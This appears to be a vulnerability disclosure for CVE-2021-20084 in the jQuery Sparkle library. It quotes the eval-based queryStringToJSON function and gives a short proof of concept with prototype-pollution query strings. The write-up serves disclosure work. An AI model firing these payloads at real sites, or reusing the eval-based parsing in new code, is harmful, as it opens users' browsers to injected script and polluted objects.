jQuery Sparkle

URL: https://github.com/bevry-archive/jquery-sparkle

Used in:

- https://github.com/ckan/ckan
- https://github.com/codrops/GammaGallery

CVE

CVE-2021-20084

Vulnerable code fragment

https://github.com/bevry-archive/jquery-sparkle/blob/1cf0bd0ab37372ea9c22c189e8bc2b9504329622/scripts/jquery.sparkle.js

The parsing is poorly written and also has XSS.

```
String.prototype.queryStringToJSON = String.prototype.queryStringToJSON || function ( )
{   // Turns a params string or url into an array of params
    // Prepare
    var params = String(this);
    // Remove url if need be
    params = params.substring(params.indexOf('?')+1);
    // params = params.substring(params.indexOf('#')+1);
    // Change + to %20, the %20 is fixed up later with the decode
    params = params.replace(/\+/g, '%20');
    // Do we have JSON string
    if ( params.substring(0,1) === '{' && params.substring(params.length-1) === '}' )
    {   // We have a JSON string
        return eval(decodeURIComponent(params));
    }
    // We have a params string
    params = params.split(/\&(amp\;)?/);
    var json = {};
    // We have params
    for ( var i = 0, n = params.length; i < n; ++i )
    {
        // Adjust
        var param = params[i] || null;
        if ( param === null ) { continue; }
        param = param.split('=');
        if ( param === null ) { continue; }
        // ^ We now have "var=blah" into ["var","blah"]

        // Get
        var key = param[0] || null;
        if ( key === null ) { continue; }
        if ( typeof param[1] === 'undefined' ) { continue; }
        var value = param[1];
        // ^ We now have the parts

        // Fix
        key = decodeURIComponent(key);
        value = decodeURIComponent(value);

        // Set
        // window.console.log({'key':key,'value':value}, split);
        var keys = key.split('.');
        if ( keys.length === 1 )
        {   // Simple
            json[key] = value;
        }
        else
        {   // Advanced (Recreating an object)
            var path = '',
                cmd = '';
            // Ensure Path Exists
            $.each(keys,function(ii,key){
                path += '["'+key.replace(/"/g,'\\"')+'"]';
                jsonCLOSUREGLOBAL = json; // we have made this a global as closure compiler struggles with evals
                cmd = 'if ( typeof jsonCLOSUREGLOBAL'+path+' === "undefined" ) jsonCLOSUREGLOBAL'+path+' = {}';
                eval(cmd);
                json = jsonCLOSUREGLOBAL;
                delete jsonCLOSUREGLOBAL;
            });
            // Apply Value
            jsonCLOSUREGLOBAL = json; // we have made this a global as closure compiler struggles with evals
            valueCLOSUREGLOBAL = value; // we have made this a global as closure compiler struggles with evals
            cmd = 'jsonCLOSUREGLOBAL'+path+' = valueCLOSUREGLOBAL';
            eval(cmd);
            json = jsonCLOSUREGLOBAL;
            delete jsonCLOSUREGLOBAL;
            delete valueCLOSUREGLOBAL;
        }
        // ^ We now have the parts added to your JSON object
    }
    return json;
};
```

PoC

```
<script src="https://code.jquery.com/jquery-2.2.4.js"></script>
<script src="https://raw.githack.com/bevry-archive/jquery-sparkle/1cf0bd0ab37372ea9c22c189e8bc2b9504329622/scripts/jquery.sparkle.js"
<script>
  location.search.queryStringToJSON();
</script>
```

```
?__proto__.test=test
?constructor.prototype.test=test
```